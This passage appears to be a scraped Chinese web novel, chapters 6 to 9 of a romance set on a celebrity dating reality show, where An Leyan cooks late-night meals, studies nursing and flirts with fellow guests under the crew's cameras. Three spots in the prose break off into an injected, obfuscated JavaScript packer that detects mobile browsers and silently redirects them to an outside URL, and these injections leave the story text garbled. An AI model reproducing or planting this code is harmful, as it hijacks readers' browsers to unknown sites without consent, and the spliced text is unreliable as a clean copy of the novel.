厨房的小吧台前挤了四个人,人口密度已经过高,安乐言没去凑热闹,绕到角落里去看了眼电饭煲,果然没人想起来做饭。 他默默把饭蒸上,又从厨房角落的篮子里挑了一头大蒜,坐在餐桌前慢慢剥。 银心洗完了手里的生菜,一扭头发现安乐言来了,连忙凑到他跟前。 好在这回他不再盯着看了,而是拿起手机,对着安乐言拍了好几张照片。 “你怎么光拍我啊?”安乐言冲着他笑,“给大家也拍几张吧,你看现在气氛多温馨。” 银心听话地点了点头,镜头转向其他人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他一个小炮灰倒是没什么可修罗的,直接坐在了穆为对面最远的角落。 银心立刻坐在了他面前,倒是聂长星,主动过来坐在他身边。 最后的两个位置正对着,像是专门给白景辰和傅识沧留的。 白景辰再不好意思坐在穆为身边,选择了对面的位置。 大家终于都落了座,聂长星开了瓶红酒,给大家一人倒了一点。 穆为笑着举杯:“大家相聚在此就是有缘,一起喝一杯。” 嘉宾们都举起了酒杯,闪亮的红酒杯轻轻相触,发出清脆好听的声音。 安乐言满面笑容地抿了口红酒,夹了一筷子青菜。 呃……青菜有点淡,不过可以理解,大概白景辰的口味比较清淡? 他又尝了一筷子小炒肉,肉没完全入味,青椒还有点生,也算是……清淡吧。 他悄悄扫了眼桌上的其他嘉宾,大家的表情都很轻松,穆为讲了个冷笑话,聂长星傲气地白了他一眼,却偏过头弯了弯嘴角。白景辰低声和傅识沧说着什么,银心则魂游天外。 大概是我太挑了吧,安乐言想。 他起身盛了一小碗饭,打算配着汤对付这一顿。 米饭颗粒分明,洁白晶莹,看起来就让人食欲大增。 汤看起来也不错,他笑眯眯地喝了一口。 然后,愣住。 这汤好咸! 入口的味道齁得他舌根发麻,连咽了两口白饭才把那种可怕的味道压下去。 可刚才,沧哥不是还说淡了? 难道是我的味觉出了问题? 安乐言疑惑地扒着饭,目光却不由自主地追随着傅识沧。 那人一直保持着优雅的用餐礼仪,细嚼慢咽,以完美的态度参与餐桌上的每一个话题。 但这顿饭从头到尾,他一口汤都没有喝! 7. 第 7 章 晚餐在一片寂静中结束。 傅识沧第一个起身:“我还有点事情要和经纪人商量,大家慢用。” 他离开之后,大家也纷纷站了起来。 嘉宾们脸上含着笑,对做饭的白景辰表示了感谢。 “大家今天都辛苦了,我来洗碗吧。”安乐言起身收拾碗筷。 “好,那就交给你了,以后我们轮流。”穆为揉着肚子,“我回房间一趟。” 聂长星没说话,点了个头走了。 银心难得回神,急匆匆地回了房间,甚至忘了和安乐言打招呼。 白景辰倒是留了下来。 菜的味道怎么样,他自己心里清楚,原本就有点战战兢兢的。 幸亏大家都还给面子,又让他稍稍放了心,不过多少还是有点愧疚。 “这么多碗盘呢,我帮你?”他看着安乐言利落收拾的动作,有点不好意思。 “那怎么行,”安乐言把筷子拢在一起,抬眼道,“辛苦做饭的人不洗碗,这是我家的规矩,没出力的人才应该洗碗。” “那我帮你把这锅汤倒了。”白景辰慌慌忙忙地走向灶台,用力提起汤锅的锅柄。 锅有点大,里面还剩下大半锅的汤,白景辰的力量不太够,猛然去提,里面的水立刻晃荡起来。 带着热度的汤汁在锅里震荡,眼看着就要越过锅沿,落在他身上。 一只手突然从旁边伸过来,轻松将他手中的汤锅拿走,又顺着惯性,把锅里的汤汁倒进水槽。 “呼——”白景辰逃过一劫,吓得喘了口气。 但是刚才……安乐言的力气好大啊! 总觉得他只是个跟在自己屁股后面转的小孩,什么时候已经长成个成熟的男人了? 力气都比我大那么多。 白景辰偷偷抬头看了他一眼,不知怎么的,有点脸红。 安乐言关了火,三两下便把所有的脏碗盘放进水槽,对白景辰说:“你还是去休息吧,我做惯这个的,不会累。” 看着他熟练的动作,白景辰也不敢再帮倒忙了,于是点点头:“那我先走了,你也早点休息。” 洗碗用不了多少时间,擦完水槽边的水渍,安乐言扫了一眼灶台。 大少爷做菜就专门做菜,台面到处都是油渍、水渍,还有炒菜时掉出来的青菜、蒜粒…… 他无奈地笑笑,继续清理起来。 全部收拾完走出厨房,已经八点多了。 第一期拍摄就在海市,嘉宾们都是一边拍摄一边做其他工作的收尾,晚饭后各自去处理工作,节目组也贴心地没有安排活动。 公共区域都静悄悄的,估计不是外出就是各自回了房间。 安乐言回到双人房。 房间挺宽敞,两张一米五的床并排放着,中间是两张床头柜,其中一张上,已经放上了私人物品。 那就是已经选好床了。安乐言打开箱子,把自己的水杯和充电器放在了另一张床头柜上。 房间里还有一张公用的书桌,还是空荡荡的。 安乐言从行李箱里拿出两本教材,在书桌前坐了下来。 上辈子他没正经读过大学。 幼年的病弱让他耽误了很多学习的时间,孤儿院也没能力给他补上落下的功课,他的成绩一直很一般。 初中毕业后他上了一所以培养护工为主的职业护理学校,毕业后便开始找工作,辗转成为傅识沧的助理。 前两天他旁敲侧击地向安妈妈打听,又逛完了自己手机里的所有微信群,才惊讶地发现,自己竟然是海大护理专业大一的学生,上个星期刚结束期末考试。 他登上校园网看了眼自己的成绩,基本上门门功课擦边及格,还挂了一科。 也不知道是原主本身对这个专业不感兴趣,还是把心思用在了别处。 他叹了口气,拿出那本崭新的《生物化学》教材,坐在台灯下看了起来。 傅家的发展方向是生物医药,一直不温不火,傅识沧的父亲接手后才真正崛起。 傅兴山科研出身,却并没有让儿子走自己老路的打算,因此傅识沧上辈子学的是艺术,但后来,他为了查清父亲去世的真相,放弃了海外的学业,回国进了傅氏集团。 那段时间,安乐言就陪着他从头学习生物医药方面的知识,对这些基础课程也有一定的了解。 一转眼三个小时过去,已经是晚上十一点多,傅识沧还没回来。 安乐言揉了揉后颈,合上书站起身来。 刚才看书的时候不觉得,一停下来,他才发现自己早就饿了。 强烈的饥饿感驱使着他来到厨房,拉开冰箱。 白景辰准备晚餐的时候,把冰箱里的食材用掉了七七八八,这会儿还剩下两袋虾仁和一盒鱿鱼须。 安乐言拿出一袋虾仁,和鱿鱼须一起放在水里解冻,又翻了翻橱柜,找出一盒意面。 烧水,煮面,顺便炒个虾仁和鱿鱼须。 很快,一盘海鲜意面就做好了。 他怕吵着大家,做饭前就关上了厨房的门,里面也只打开了餐桌边的一盏小灯。 温暖的光线、热腾腾的意面、香喷喷的虾仁和鱿鱼须,真是幸福感十足。 “偷吃?”一个声音猛然打断了厨房里温馨的这一幕。 安乐言扭头看去,傅识沧正站在厨房门边,脸上笑容玩味。 “哪,哪里偷吃了,”安乐言辩解,“我饿了,就来做个夜宵。” “那就是偷吃夜宵。”傅识沧得出了结论。 “不是……”安乐言烦恼地站了一会儿,低着头走到傅识沧面前。 “干嘛?要灭口?” “嗯,灭口。”安乐言伸手拉着傅识沧的手腕,把人带到桌子边,再把意面往他面前一推。 傅识沧挑眉:“贿赂我啊?我可不吃……” 他话说到一半,安乐言已经快速地把盘子中的意面分成两份,还把鱿鱼须都挑了出来。 “虾仁都给你,”安乐言点点头,“面分你一半。” “那也不行,”傅识沧摇头,“夜宵本来就是见者有份,你要贿赂我,还得加码。” 眼前的少年一脸无奈,秀气的眉蹙着,似乎有些为难。 傅识沧倒也不想多为难他,心想着只要他求饶,自己就勉为其难,就吃点虾仁意面就算了。 可他却好像突然下了决心,起身走向灶台:“面你先吃着,我再去给你煎个蛋。” 平底锅里,鸡蛋和热油发出滋滋的声响,温暖的灯光下,少年低着头,微微单薄的背脊绷出一道优美的弧线。 “好了!”少年笑眯眯地转过身来,把喷香的鸡蛋放进傅识沧的盘子里。 鸡蛋边缘焦黄,内里却是流心,正合他的口味。 厨房里热气蒸腾,镜片沾了水汽,视野都变得模糊。昏黄的小灯和食物的香气,还有面前的笑脸,让他恍然回到十二岁前的日子,找回了些许关于“家”的记忆。 厨房总是联系着烟火红尘,身陷其中的人,即便不喝酒,也能体会到幸福的微醺。 隔壁的节目组小楼里,张茂刚洗了个澡,踱到一间放满监视器的房间里。 刚一进门,他擦头发的手便一顿:“诶,这是厨房吗?他俩怎么吃上了?” 坐在监视器前的值班副导点点头:“嗯,安乐言去厨房做夜宵,傅识沧从外面回来。大概他也饿了,正好撞上。” “气氛不错啊,”张茂点了点副导演的肩膀,“都录下来了没有?” “录了录了!”副导赶紧点头,“八台摄像机全打开了,保证一个表情都不放过。” “不错,等回头节目爆了,我给大家发红包。”张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730300|157269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 茂笑呵呵地甩了甩湿发。 他指着屏幕里的少年:“这个安乐言很有戏啊,以后你专门盯他,再给他另外安排一个跟拍。” 夜色里,嘉宾们陆陆续续回了别墅,一直在房间里整理绘画素材的银心也走了出来。 几人在客厅里相遇,都心知肚明,晚上吃的那点东西,现在早就已经没影了。 “我说,要不我们出去吃点?”白景辰提议,“我来的时候看见……” 他话没说完,一旁的银心突然耸了耸鼻翼:“好香啊!是不是有人在做吃的?” 穆为也闻到了,他直接走到厨房门前,推开了那扇门。 眼前的一幕让他愣了一下。 傅识沧怎么会和安乐言在一起吃东西? 下午真心话游戏那会儿,他还以为两人有仇。虽然安乐言后来解释了,但谁都看得出来理由牵强。 之后分房,傅识沧专门要和安乐言一间,少不得是要故意恶心他。 但是一起吃东西这件事……说不定就把感情给吃好了! 心随念转间,他大踏步地走了进去,“你们俩怎么回事,半夜躲在这里吃好吃的不叫我们?” 傅识沧依然慢条斯理吃着最后的虾仁,安乐言哭笑不得地抬头:“饿了来吃个夜宵,哪儿有你说的那么严重。” “我不管,反正夜宵这东西见者有份。”穆为的目光在两人之间游移一瞬,就看准了安乐言,“这意面肯定是乐言做的。” 他一屁股坐在安乐言身边,瞬间变脸:“给我也做一份好不好?明天我请你吃大餐。” 安乐言无奈地看着他,又扭头看了看站在厨房门口的聂长星、银心和白景辰,五人的目光交错半晌,他突然笑了起来。 “好吧好吧,见者有份,我再做几份给你们。” 站在门边的三人都笑了起来。 白景辰拿出意面:“我来帮你煮面吧。” 他话音刚落,厨房里的笑声便戛然而止。 白景辰吓了一跳,小声道:“煮意面是不是也需要很高的技巧?” 安乐言失笑:“没什么技巧,就是时间要掌握好。要不你们拿手机定个时,水开之后八分钟开始,每分钟捞一条出来尝尝,感觉可以了就关火捞面。” 厨房里顿时热闹起来,聂长星拿出手机站在白景辰身边,随时准备计时。 银心则拿出了冰箱里剩下的青菜。 穆为拉开冷冻柜:“只有一包虾仁了,这么多人不够吃啊?” 安乐言起身:“这里不远处有个超市,我正好要买东西,顺便也买点做意面的食材吧,很快就能回来。” 他说着就往外走。 刚出别墅,就有个小哥扛着摄像机追了过来。 “我去买点东西。”安乐言和小哥打招呼。 小哥点点头:“没事,你就当我不存在。” 安乐言在附近店铺转了一圈,买到了几大包意式肉酱,又快步走回别墅。 一进门,他就看见了站在玄关前的傅识沧。 男人脸上没什么表情,仿佛满厨房的欢声笑语都与他无关。 “你要出去吗?”安乐言低头换鞋。 “嗯,去买包烟。”傅识沧说。 “你早说呀,”安乐言笑着抬头,“我该给你带一包回来的。” 傅识沧走到他身边去换鞋,低头看了一眼他手里的购物袋。 “你买了什么?虾仁吗?”他突然问。 安乐言摇了摇手里的袋子:“是肉酱,我给他们做肉酱面。” 未关严的大门漏入一丝温暖的夜风,在两人之间悠悠旋转。傅识沧换好了鞋,冲着少年点点头:“好,你去吧。” 安乐言提着袋子目送他出门,转身走向厨房。 虾仁意面可是沧哥的最爱,所以,给大家做肉酱面就好啦。 8. 第 8 章 安乐言进门的时候,白景辰锅里的意面刚刚煮好。 “我感觉可以了,”聂长星手里举着手机,像个美食鉴赏家一样点点头,“赶紧捞起来吧。” 白景辰立刻端起了锅子,把意面连汤带水倒进过滤用的网盆。 热气蒸腾起来,聂长星赶紧往后跳了一步,问:“这就可以吃了吗?” “要过凉水,然后拌橄榄油。”穆为拿着手机加入讨论。 “嗯……怎么过?”白景辰茫然看向他。 “别问我,我也不知道,”穆为举着双手像是要投降,“手机上只写了过凉水,可没说怎么过。” 三人面面相觑,求助似地看向一句话都没说的银心,又十分默契地翻了个白眼。 “还是傅识沧聪明,”穆为感叹,“老早就找到厨房来,吃现成的不说,还不用跟我们一起纠结。” 他仰头扫了眼厨房:“他人呢?该不会……跟乐言一起去买东西了?” 厨房里剩下的几个人互相对视一眼,心里都有些忐忑。 虽然只是恋综的第一天,大家都只相处了一个下午,这个名不见经传的少年却给每个人都留下了深刻的印象。 他以前就是这样吗?白景辰沉思着,漂亮、青春,一张脸总是带着笑,却又把大家都照顾得很好? 还有晚餐后帮他倒水的时候,原本亲和的脸上突然显露出严肃神情,把他都吓了一跳。语调却还是那么温和体贴,感觉也很帅啊! 虽然和傅哥是两种完全不同的帅,但…… 白景辰只感觉手里的意面沉甸甸的,却不知道该怎么办才好。 就在这时,别墅的大门响了一声,隐隐传来说话声。没过一会儿,安乐言就跑了进来。 “我回来啦,”他放下手里的袋子,“面已经好了啊,我来我来!” 他先在水槽边洗好了手,这才接过白景辰手里的网盆,熟练地操作起来。 海城的初夏不算太热,屋子里也开着冷气,但他刚才一路小跑回来,额头上都渗出了细细的一层汗。 一只手突然伸了过来,柔软的纸巾在他额头上轻轻按了两下。 “谢谢!”安乐言笑着扭头,正看见聂长星收回拿着纸巾的手,脸上的表情有点别扭。 本能地释放完好意又觉得后悔的样子。 有点好笑。 “聂哥,你是学医的,上过手术台吗?”安乐言好奇地问,“手术的时候,是不是会安排一个护士专门给医生擦汗啊?” 聂长星刚把手里的纸巾捏成团,听见他这么问,不由得笑了起来:“倒也不至于专门安排一个擦汗的,巡台护士有时会干这个。你那是在影视剧里看的吧。剧里面不能播具体的手术内容,所以经常用擦汗来表示手术到了紧要关头,或者是医生的敬业。” 他看着安乐言熟练用橄榄油拌面,歪了歪头:“我怎么感觉你有点羡慕?” “那当然羡慕啊!”安乐言把拌好的意面放到一边,开始准备肉酱,“我学的就是护理专业,那些专业课难死了。所以我想啊,作为一个护士,在手术室里擦汗的工作一定是最轻松的。要是能一辈子霸占这个位置就好了。” “哈哈哈!”厨房里的人都笑了起来,聂长星笑得弯了腰,“行行行,我给你机会,要是以后我上手术,就专门找你来擦汗。你可要紧跟着我,寸步不离。” “嗯嗯嗯,”安乐言也跟着大家一起笑,“我一定给你擦得一滴都不剩。” 节目组的监视器前,工作人员也跟着笑了起来。 “这个安乐言,还真是会调节气氛,”副导演笑得肚子疼,“我之前还一直担心聂长星太傲,从头到尾都没法融入到嘉宾里去,他这一句话就破了冰。” “不仅破冰,还有意想不到的作用。”张茂指挥着工作人员调整摄像头,放大了聂长星的表情,“你们看,他是不是脸红了?” 厨房里,安乐言随口接完话就开始炒肉酱,聂长星却愣在了当场,手里还捏着那团纸巾,脖子和脸上,却慢慢涌上了血色。 这晚的夜宵,大家都吃得超级满意,个个把安乐言夸上了天,就连一直没怎么干过活的银心,吃完以后也拦下了想要去洗碗的安乐言,抢着把碗洗了。 安乐言回到卧室的时候,房间里灯光温馨,傅识沧正站在书桌边。 他应该刚从浴室里出来,换上了一套浅灰色的短袖睡衣,毛巾搭在脖子上,发梢偶尔滴下一颗水珠,沁入半干的毛巾里。 银丝眼镜反射着台灯的光,男人单手按着书角,一页页看得很快。 突然他眯了眯眼睛,翻过一页,又翻了回来。 那不是我的课本吗? 安乐言连忙走了过去,从怀里掏出一个小瓶,挡住了傅识沧的目光,顺便也瞅了一眼书页。 页面的空白处,是他刚才做的笔记,这有什么好看的? “这是什么?”傅识沧收回手,重新擦起了头发。 “消化药。”安乐言把药瓶塞进他手里,“煎鸡蛋吃得太晚容易不消化,吃点这个,不然夜里该难受了。” 傅识沧挑起了眉。 难道他刚才迟疑那么久,居然是在担心他消化不良? 他的确很少吃夜宵,偶尔吃一次也会觉得胃顶得慌,但安乐言是怎么知道的?又是汪肖雨说的? 他仔细看了看手里的药盒,熟悉的红蓝图案让他忍不住磨了磨后槽牙。 谁家成年人要喝儿童版的消食化积口服液? 汪肖雨这个庸医到底跟安乐言说了什么? 一时之间,他竟然有种错觉,安乐言该不会是汪肖雨安排到节目里来整他的吧! 他抬头看了安乐言一眼。 这人却似乎根本没想到自己在对方心里挑起了怎样的情绪,只是一门心思地看着自己的那页笔记,嘴里还喃喃着:“没写错啊……” 夜已经深了,安乐言在傅识沧手机充电的提醒声里回过神来,抓起换洗衣服冲进了浴室。 等他收拾完出来的时候,傅识沧已经睡下了。 台灯依然亮着,光线被调到了最弱,照亮小半张书桌。 书页里漏出便利贴的一角。 安乐言蹑手蹑脚地走到书桌前,就着灯光翻开了课本。 便利贴上,字迹优雅洒脱,带着一丝隐藏的锋芒。 傅识沧把他笔记的前两行原原本本地抄了一遍。 安乐言:…… 这是嫌他的字不好看咯? 他吐了吐舌头,哀怨地回头看了眼床上的人影,关灯上床。 第二天一早,闹钟还没响,安乐言就醒了过来。 给沧哥做生活助理的时候,老板的作息很规律也很变态,1点睡6点起雷打不动,几年下来他已经成了习惯,无需闹钟,五点二十准时醒来,洗漱后给老板做早餐。 他对着镜子呲牙咧嘴地撕下隐藏在鬓角中的小片瘦脸贴。 他昨晚在傅识沧之后洗漱,却又怕节目组不做人,一大早来突袭,所以洗完脸后依然将眼型拉得下垂。 但今天可以放松一点点了。 他对着镜子小心翼翼地调整好眼型,轻手轻脚下楼。 打开冰箱找食材的时候才想起来,楼上的那个傅识沧根本不需要早起准备当天的工作资料,不需要早早出门去赶早高峰,也不需要每天开晨会,他甚至不需要在八点之前醒来。 因为现在这个综艺,就是他目前的工作,而今天最早的活动安排,在九点之后。 他蓦地放松下来,却突然感到一阵空落落的。 这多出来的时间,去做点什么呢? 安乐言先去了一趟附近的超市,把买回的早餐材料放进冰箱后,溜溜达达来到了别墅的健身房。 健身房似乎是专门搭建的空间,位于后院门廊的尽头。 全玻璃的四壁透过清晨的阳光,健身器材一应俱全。 他才刚踩上椭圆机,穆为就走了进来。 “你怎么在这儿?”穆为的语气有些惊喜,“我说这里怎么有动静,睡不着吗?” 安乐言一边保持着踩踏的节奏一边回答:“我睡得挺好。只是平时习惯了这个时间起来,硬躺着还不如起来动动。” “对,我也是这个时间起床。”穆为十分不要脸地附议,忽略了自己其实还没睡的事实,走到椭圆机侧面的史密斯架前。 他弯着腰在杠铃边挑挑拣拣,似乎在选择合适自己的重量,却悄悄看向一旁的安乐言。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14730301|157269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>从这个角度看过去,少年的细腰长腿一览无余。尤其是运动的时候,安乐言的腰部收得很紧,宽松的运动裤下,翘臀若隐若现。 几分钟后,穆为轻咳一声,走到饮水区喝了杯水,静默片刻,才又回到器械区。 这一次,他老老实实练起了深蹲。 张茂今天起得挺早,料想着嘉宾们不会那么早起来,他一边刷牙一边晃到监控室,准备回放一下昨晚的深夜聚餐。 谁知刚一进去,就看见健身房的监视画面里有人。 真是年轻啊!昨晚都过了一点才睡,这才六点过,怎么就有人起来了呢? 张导一口咬住牙刷,匆匆忙忙把健身房的摄像头对准两人所在的区域,又拍醒了一旁小床上的摄影师小李。 “你盯着点。”他含含糊糊地吩咐着,快速跑到隔壁公共洗手间吐掉嘴里的泡沫,随便抹了一把脸,又跑了回来。 小李已经把画面聚焦在了两人身上。 这会儿安乐言已经从椭圆机上下来,正在穆为的指导下做手臂训练。 “对,就这样,腰不要塌得太低,核心收紧。” 穆为站在安乐言身侧,手掌轻轻按在他的后腰上。 男人的手掌很热,虽然只贴了一下就挪开了,但距离他并不远,还能隐约感受到他手心的热气。 安乐言有点不自在地往旁边躲了躲,却被另一只手挡了回来。 穆为直接用指尖虚指了一下他的小腹:“这里不能松,好,手臂起来。” “卧槽,这两人的气氛也太好了。”小李小心翼翼地调整着摄像头的角度,全方位地拍下两人的互动。 张茂则亲自操纵着房顶的一台摄像机,从斜上方往下拍。 安乐言的身材正介于少年与青年之间,肩宽已足,却并不厚,在这个角度的镜头里,他的腰细得像是两只手便能拢住。 而他现在,一条腿正跪在哑铃凳上,肩背起伏有致,肩胛骨随着手臂的动作把柔软的运动衫顶出清隽的轮廓。 站在他身边的穆为则高大挺拔,此刻微微俯身,双手护在他身体两侧,颇有些护花使者的味道。 “哦哟哟,很般配啊!”王副导和另外两个摄影师拎着早餐走了进来,“我觉得应该可以肯定,穆为对安乐言有好感了。” “穆为本来就风流,昨天几乎对每一个嘉宾都有亲近的行为,你怎么知道他现在的行为不是惯性使然?”小李从袋子里捏出一个包子,问道。 “嘿嘿,我曾经在健身房遇到过穆为,我去了一个月,就看着穆为撩了十几个,每一次都暧昧无比,简直比小电影还刺激。”王副导一口吞掉一个小笼包,“但是,没有哪一次,他像现在这样克制自己,还那么小心翼翼。” 他一句话说完,却发现整个监控室里的人都看着他,安安静静的。 “怎么了?”王副导赶紧抹了抹嘴角。 “就是……”小李把王副导圆润的身材扫视一遍,“您还真是敬业,去健身还惦记着吃瓜,这多影响锻炼效果。” 王副导低头看看自己的啤酒肚,一巴掌拍在小李头上:“这小子,说什么大实话!” 满屋子的笑声中,小李红着脸找补:“可安乐言好像一点感觉都没有啊。” “这才多长时间?”张导嗤笑出声,“再说了,谁说暧昧就一定发生在互相有感觉的两个人之间?” 他紧紧盯着镜头:“就这样挺好,进度太快反而杜绝了其他的可能性,观众们还不爱看呢。” “哦~”其他摄影师纷纷点头。 “诶,又有人来了,好像是傅识沧!” 健身房的玻璃墙后,傅识沧停留片刻,随即推门进来。 “安乐言,”他伸手指了指二楼的方向,“聂长星找你。” “啊?有要紧事?”安乐言忙放下哑铃。 “不知道,”傅识沧面无表情地回答,“一早上就来敲门。” “抱歉抱歉,”安乐言起身,“我这就去找他。” 穆为有些遗憾地看着安乐言消失,转头看向傅识沧:“你也来锻炼?” 傅识沧面无表情地看了他一眼:“不,我散步。” 说完他转过身,穿过整个一楼,走出了别墅。 9. 第 9 章 安乐言跑回二楼,房间里没人,他走到聂长星的门口敲了敲,轻声问:“聂哥,你找我吗?” 门没有关严,白景辰和银心还在沉睡,聂长星正坐在床上发呆,像是刚被人从被窝里薅出来似的,一脸困倦。 听见安乐言的声音,他有点茫然地抬头看了他一眼,又低头看了眼自己的手机,这才找回记忆。 他十分艰难地下了床,靠在门口:“我刚才突然想起来,你还是个学生吧。” “是啊,”安乐言有点懵,“我是海大护理系的,这个暑假过后上大二。” “嗯……”聂长星迟疑了一下,“是这样,我有个……表弟也是你这个专业,前两天还跟我吐槽,说生物化学特别难学。我给他专门整理过这门课的笔记,想着你也许也用得上,就问问你要不要。” 安乐言的眼睛一下子亮了起来:“那真是太好了!学神的笔记啊,我当然需要。就怕我太笨,看不懂你的笔记。” “那怎么可能!”聂长星被他逗笑了,人还有点迷迷糊糊的,“他……哦我,我当年这门课的笔记记得特别仔细,还整理了一份电子版,等会儿我就让我……嗯,表弟,让他发网盘地址过来。” 安乐言笑眯眯地回到宿舍,看着那本《生物化学》嘿嘿地笑。 太好了,有了聂长星的笔记,下学期这门课肯定能考过。 穿书过来居然避过了高考,白捡来的大学当然要好好学才行。 书页翻动,那张浅蓝色的便签又露了出来。 嗯,字也要好好练。 他坐下来,照着便签认认真真地写了几个字,这才去冲了个澡,下楼做早餐。 当牛奶、黄油和培根散发出浓厚香味的时候,嘉宾们纷纷跑进了厨房。 “我就知道,一定是乐言在做早饭。”穆为第一个进来,看了眼餐盘中的食物,“你这也太厉害了,谁跟你在一起真是不能再幸福。” 银心拿着相机跑进来,对着几盘三明治就是一顿拍,话也变多了:“这几盘都不一样,你做了……五种啊!” “真的耶!”聂长星终于醒了,却一脸为难,“完了,我选择困难症犯了,都想吃怎么办?” 安乐言大笑:“要不我切成小块,你们随便搭配着吃?” “好好好,这主意不错。” 趁着安乐言切三明治的功夫,白景辰从冰箱里拿出了牛奶。 “怎么只有五瓶?有人不喝牛奶吗?” 在场的嘉宾都摇摇头。 安乐言一边摆盘一边随口道:“沧哥早上不喝牛奶,等会给他做杯美式就行了。” 他和傅识沧住一间房,大家都以为是傅识沧提前交代了,没人提出疑问,只有白景辰微微愣了一下,问道:“傅哥人呢?” “他……去散步了。”穆为在心里翻了个白眼。 散步就散步吧,干嘛要把安乐言叫走,真是……啊,这个三明治也太好吃了! 一瞬间,缺觉的困乏和方才的烦恼都一扫而空,穆为左右开弓,一口一块。 看他吃得那么快,其他人也顾不得矜持,全都坐了下来。 傅识沧回来的时候,大家已经把桌上的食物一扫而空。 穆为有点暗爽,谁让你早上打断我,没口福了……吧? 坐在他对面的安乐言很快起身:“沧哥你先坐。” 他转身打开了咖啡机。 咖啡机运作的时间里,他从冰箱里拿出早就准备好的原料,又做出一份三明治,一起端给了傅识沧。 穆为:……烹饪,竟如此易如反掌?! 饭后是聂长星和穆为洗碗,安乐言刚走出厨房,就被白景辰拉住了。 “你跟我来,我有个事想问问你。”他领着安乐言来到二楼的起居室,两人一起坐在沙发上。 安乐言一头雾水,却见他扭扭捏捏半天都说不出口,忍不住问:“到底什么事?” “就是……”白景辰的脸有点红,“从昨天入住到刚才,每次提到傅哥,你都是很熟悉的样子,所以我想问问……” 白景辰仔细观察着安乐言的表情:“你是不是对他……嗯……” “什么?”安乐言迷糊了,“你在说什么?” 他的表情一派自然,听到傅识沧名字的时候连眉毛都没挑一下,白景辰暗示了半天都没结果,忍不住直接问:“就是,你是不是喜欢他才对他这么了解。” “卧槽,白景辰放大招了啊!”旁边的监控室里,王副导一声暴喝,“这才第二天,怎么就这么打直球?” 张导伸手往下压了压:“别激动,拍面部表情的机器再往前推一点,听听安乐言怎么说。” 所有的工作人员都竖起了耳朵。 安乐言被问得一愣,一下子笑了起来:“我当然喜欢沧哥啊!” 听到这个回答,白景辰的心怦怦直跳,嗓音都有点哑:“你……你喜欢他?” “那当然啊!我可是他的铁杆影迷!”安乐言说得斩钉截铁,“他每一部片子,每一个访谈我都看过。” 他拿出手机,登录了自己的网盘账号。 虽说这里面的内容都是刚穿来那三天里存进来的,但他全都看了一遍,尤其是那些访谈。 沧哥两辈子做的工作不同,但访谈的内容却大同小异,毕竟是本真人同人,人设总不能大改。 他兴致勃勃地打开一篇总结笔记,递给白景辰:“喏,你看,都在这里。他喜欢吃什么、看什么都有,你要是想要就用手机拍一下,等以后能给你发消息了,我就再发一份给你。” “哦……”白景辰的心像是坐了过山车,被安乐言的这番操作震得有点麻。 他瞪着安乐言半晌,最后惯性地客套了一句“那我等你给我发”,就跟梦游一样,飘回了自己房间。 安乐言收起手机,对着白景辰离开的方向耸了耸肩。 其实你就算是知道这些……沧哥也不喜欢你。 算了,兄弟我只能帮你到这儿,你就自求多福…… 最后一个字还在心里晃悠,安乐言一抬头,就见傅识沧正站在双人间卧室门前,面无表情地看着他。 完蛋,售卖偶像信息被正主抓住,好尴尬! 诶不对,我们只是互相交流信息,不涉及买卖! 他正乱糟糟地想着,傅识沧已经走到了他面前:“来,让我看看,你都知道我哪些信息。” 安乐言:…… 他还试图挣扎一下,傅识沧却向他伸出一只手。 男人的手指修长,骨节略略突出,却不损整体的流畅美感。 他原本就白,手心也一样白皙,没什么皱纹。指腹泛着健康的粉色,看起来赏心悦目。 不像他的沧哥,最后那半年因为日夜殚精竭虑,又常常要靠烟草提神,指尖都变得微微焦黄,让人揪心。 恍惚之间,安乐言完全忘了自己该做什么,只是虔诚地伸出手,在傅识沧的指尖上轻轻捏了捏。 原本是要收缴手机的手,伸出去后却被人拉住不放,傅识沧一时间有些哭笑不得。 他在安乐言面前摆了摆另一只手,少年才猛然回神,迷糊地抬头看他一眼,又赶紧低头。 “啊,你的感情线好长啊!”安乐言急匆匆地找补,“以后一定会和伴侣相亲相爱,白头偕老。” “谢你吉言,”傅识沧抽回自己的手指,“到那时候我一定请你吃饭。” 看着少年的耳根下泛起一片红,渐渐蔓延到了脸上,他反手敲了敲安乐言的脑袋,“赶紧去换件衣服,一会儿要去做餐车培训了,大、师!” 制作和售卖食物,是《美味关系》的一大创新。 前期的宣传中就明确宣布了,投资人会按照餐车每日收入的100倍,捐献给需要的群体和个人。 所以餐车培训不仅绝不敷衍,还请来了知名大厨,试图在最短的时间里让这些公子哥都能做出值得售卖的食物。 当然,厨艺不是一天练成的,培训也只是挑了些方便好掌握的餐点来教授。 今天的培训内容是咖啡和三明治。 餐车里 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安乐言一眼看过去,就直接将他的手臂连同袖子,拉到了打开的水龙头之下。 清凉的水冲刷着被烫伤的地方,缓解了不少疼痛。 他怎么这么快? 银心睫毛颤动两下,看向安乐言。 少年的嘴唇抿得紧紧的,纤长的睫毛微微下垂。 